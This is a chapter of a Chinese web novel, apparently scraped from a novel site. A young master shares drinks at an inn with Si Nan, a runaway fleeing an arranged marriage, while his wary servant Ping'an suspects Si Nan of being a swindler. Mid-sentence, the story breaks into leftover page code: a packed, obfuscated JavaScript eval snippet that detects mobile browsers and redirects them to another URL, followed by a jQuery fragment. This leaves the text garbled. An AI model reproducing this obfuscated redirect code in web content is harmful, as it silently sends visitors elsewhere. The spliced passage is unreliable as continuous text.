“我虽读书识字,但并不想考科举走仕途,只想趁年轻四处游历,尝美食,赏美景,遇见未知,这样的人生才是有趣的。”这是司南的声音。
“妙啊!”不用看都能知道林昊泽兴奋的表情,“这也是我的愿望,咱们可以结伴同行啊,游山玩水,怀古观今,行吟天下,岂不妙哉。要不,我们想个法子先把平安甩了......”
“少爷!”门又“咣”的一声开了。刚还被吓得不能动弹的平安,听见少爷这话,顿时血就涌上来了。这是又错过什么了呀,怎么少爷就被拐跑了呢?还计划要甩了自己,人家前面挖的有坑啊,还没怎么着,少爷自己就想跳了。
“门坏了是要赔的你知不知道?怎么才出来没一天就变得这么暴躁呢?”林昊泽忍了又忍,这样的随从,太不给长脸了。
“伙计说刚才有人退房,我赶紧去柜台抢,结果被别人抢去了,就差了一步啊,我们可是天字一号房的客人啊,待遇呢,待遇呢?”平安相当不忿。
“城门都关了,这时辰怎么还会有人退房?”司南说。
“那谁知道啊,可能是好友找来了,人家换家店去畅饮通宵了?要不司郎君你追过去问问,没准别的店有客房呢。”
“那也可能没有呢。”司南脸上闪现出那么点犹疑,他看向林昊泽。
“哪都不去,管他有没有空房间呢,今晚就在这儿,咱们对饮个痛快!”多难得才找到的伴儿,林昊泽可不想放人。
“平安啊,没有空房间就算了,你也不用怕自己没地方睡觉,套间嘛,地方这么大,怎么还不能让你凑合过一夜呢。”
想什么呢少爷,别说抢房间这事是我编的,就是真的我也是给那自称司南的人抢啊,凭什么我搬出去让你俩住,你想甩掉我,人家是想绑走你。
平安又急又怕百爪挠心,表面上还想稳住司南故而不露声色,其实他已经快要控制不住自己了,憋得快炸了。
幸好伙计上来了,一来就是俩,前面人提着食盒,后边人提着大包小包。
食盒里的饭菜把桌子摆得满满当当,伙计采买的零嘴被平安拎着拿进了里屋,瞧少爷和司南不注意,平安悄悄打开刚才伙计偷偷塞给他的纸条。
“已派护卫暗中跟随。”这是嘉兴铺子的掌柜写的,平安稍稍放心了些,心里暗赞自己太聪明了,太会办事了,简直就是了不起。
司南喂饱了鸽子,平安把他们所有的东西都拿去里屋一一放好,这时三人才坐下好生吃饭。
平安不说话,默默地吃着,但不妨碍他耳聪目明。
“司兄,咱们萍水相逢,志趣相投,先干一杯。”林昊泽热情洋溢地端起酒杯。
“林兄,感谢你的收留,小弟不胜酒力,不如以茶代酒,我早起还要赶路。”
“对对对,少爷你也别喝酒了,我给你们倒茶。”平安立即起身给他们添茶。
“那怎么行呢。”林昊泽一把按在茶壶上,“好美食的人哪有不好美酒的,来到一个地方不尝尝当地的美酒岂不遗憾。”
“来,司兄,我敬你。”
“不敢不敢,林兄既然这么说,小弟恭敬不如从命,我敬你。”司南也端起酒杯。
欲擒故纵,伎俩可真多。平安心里嘀咕了一句。
“林兄应该比我年长,以后称我名字即可。”司南说,“我十六岁,林兄多大?”
“我十三了,我家少爷是比你大,你应该叫他林兄。”林昊泽刚要开口,却被平安抢着回答了。
“方才你说你家里兄弟姐妹共四人......”
司南明明看的是林昊泽,但平安很勇啊。“对啊,司郎君,你呢?家住北平哪啊?兄弟姐妹几个啊。”
司南和林昊泽都看着平安,平安脸不红心不跳,“我替少爷问的,我怕他不好意思。”
林昊泽没有不好意思,他设想好的酒逢知己千杯少的情绪屡屡被打断,很有些不爽。
“平安,你去一边哄鸽子睡觉吧,以后这鸽子就归你照顾了,从明天开始你要一路带着它,现在先去培养培养感情。”
平安已经知道了鸽子的来历,正是这只从天而降的鸽子,让少爷认识了这位司郎君,想想隔壁那几个人,他直觉认为这鸽子是受过训的,从天上掉下来掉到少爷马车上是设计好的。一个鸽子谁稀罕照顾呢,又不是鹦鹉,没准还能套套话。
“少爷,我还没吃饱。”
“不,你已经吃撑了。”
司南忍不住低头,唇角向上笑起来,灯光照着他的羽睫显出一片暗影,更衬得人白皙清秀,巴掌大的小脸儿,怎么跟女孩似的。林昊泽看得入了神,忽觉不妥,庆幸自己酒没喝多,话没有直接说出口。
但他还是为自己心里的想法感到有一点不安,再看平安还磨磨蹭蹭地,顿时瞪了他一眼。平安不敢说话,捧着盘子坐到旁边的桌子旁去跟鸽子作伴了。
的确,少了平安,林昊泽和司南的聊天顺畅多了,他们聊喜好,聊路上的见闻,忽然林昊泽想起,他还不知道司南为何从家里逃出来。
“我是逃婚出来的。”司南漫不经心地说。
“逃婚!”林昊泽两眼放光,“你比我厉害多了。”
“这有什么好比较的。”
“你为什么逃婚?未婚妻不好?长得丑?家世差?你看不上?”
“都不是,你说的这些条件都还可以,主要是,我想找一个自己喜欢,也喜欢我的人,两人相爱相扶过一辈子。而不是奉父母之命,直接和一个陌生人拜堂成亲。”
“说得好!”
好什么呀,大逆不道之言,少爷又要被带歪了。平安蠢蠢欲动。
“与相爱之人携手,才算不负此生来过。”司南端起酒杯一饮而尽。
“对,要勇敢。”林昊泽陪了一杯。
“可惜家里看我看得紧,好不容易逃出来,没有带多少盘缠,一路上艰难了些。”大概是想起了一路上的心酸,司南笑容有些酸涩。
看吧看吧,到重点了,平安紧了紧怀里的银票。
“之前都过去了,明天你就坐着我的马车走,反正都是去杭州,我把你送到你要去的地方。”
“如此叨扰,我都觉得过分了。”喝了些酒,又说了不少性情之言,司南脸颊红扑扑的,看得人不忍。
“怎么又客气上了,你是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438935|169341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家中独子,又是老大,下面全是妹妹,自然习惯了担担子。以后有我在,我就是你兄长,你可以依靠,我能帮的都帮你。比如钱财......”
“少爷,鸽子睡觉......用盖被子吗?”平安又打断了林昊泽的话。
“你见外面的鸽子、喜鹊、燕子、乌鸦猫头鹰,哪个鸟儿睡觉顶着被子?”
“那,那那那,鸟有窝啊,有时候还互相挤着取暖,这只鸽子受着伤,它万一怕冷呢?”
“你抱着它睡,让他跟你钻一个被窝,动动脑子自己想办法。”
“好”,平安安安静静地坐了回去。
“你年纪又不大,家里为什么这么早就给你订婚啊?”不等司南回答,林昊泽接着说,“我知道了,你刚才说你下面都是妹妹,肯定是妹妹快到年纪了等着出阁,你又是独子,父母肯定想让你早点结婚生子延续香火。”
少爷总算会动脑子了,说得多有道理。平安在一旁很是欣慰。
“一言难尽,只得跑出来投奔杭州的伯父。”
司南又是一杯酒下肚,林昊泽也赶忙陪一杯。
“司郎君可知道你伯父的地址,我明天一早告诉车夫,如果他认得,就让他先把你送过去。”平安就是个小机灵鬼。
“肯定知道,我伯父在杭州鼎鼎有名的湖鉴书院当教书先生,他本人也很出名,洒脱自在,卓尔不群,人称漱雪先生。我伯父名叫司白,我从小只见过他几面,但他是我的偶像。”酒劲上来,司南也放松了警惕,话渐渐多起来,不像之前,总是避重就轻地说一些场面话。
平安听得一脸懵,怎么真有地名人名呢?骗子都这么真实了吗?编这么多不怕穿帮?还是觉得我俩好骗?明天就把你直接带到湖鉴书院,不去也得去,非看着你把司白叫出来不可。
林昊泽的酒意也很浓了,司白他不知道是谁,但湖鉴书院听着怎么那么耳熟呢?却又想不起来,不过有点印象足以说明这个地方确实很出名。
“你伯父会不会派人......把你......押回去......”林昊泽说话已经不太利索了。
“不会,我伯父最是通达之人。”司南声音低低的,头也不抬,像是对着酒杯说话。
少爷你吓唬他干嘛,他要是借机不去找他伯父了,我们怎么看他露馅啊。平安真是急。
“少爷,大家都累了一天了,明天还得坐车赶路,酒喝多了小心头疼,还是歇息了吧。”平安说着过来搀扶他。
“对对对,林兄,该歇息了,我扶你进去。”司南和平安一左一右地扶着林昊泽往里屋走。
林昊泽平日里没有这般喝过酒,再加上赶路本就疲惫,所以这会儿确实有些撑不住了。刚被扶到床上躺下,平安弯腰给他脱鞋子,司南转身要朝外走,谁知林昊泽胳膊一伸,直接搂住了司南的腰,往床上一带。
“你去哪儿啊,来,咱们同榻而眠。”林昊泽眯着眼睛。
司南一声尖锐的惊呼。他喝了酒也有些头重脚轻,猛得被林昊泽一搂,顿时失去平衡,倒在了林昊泽身上。他挣扎着要起身,可林昊泽的胳膊却很有些份量,一时站不起来,急得直喊平安。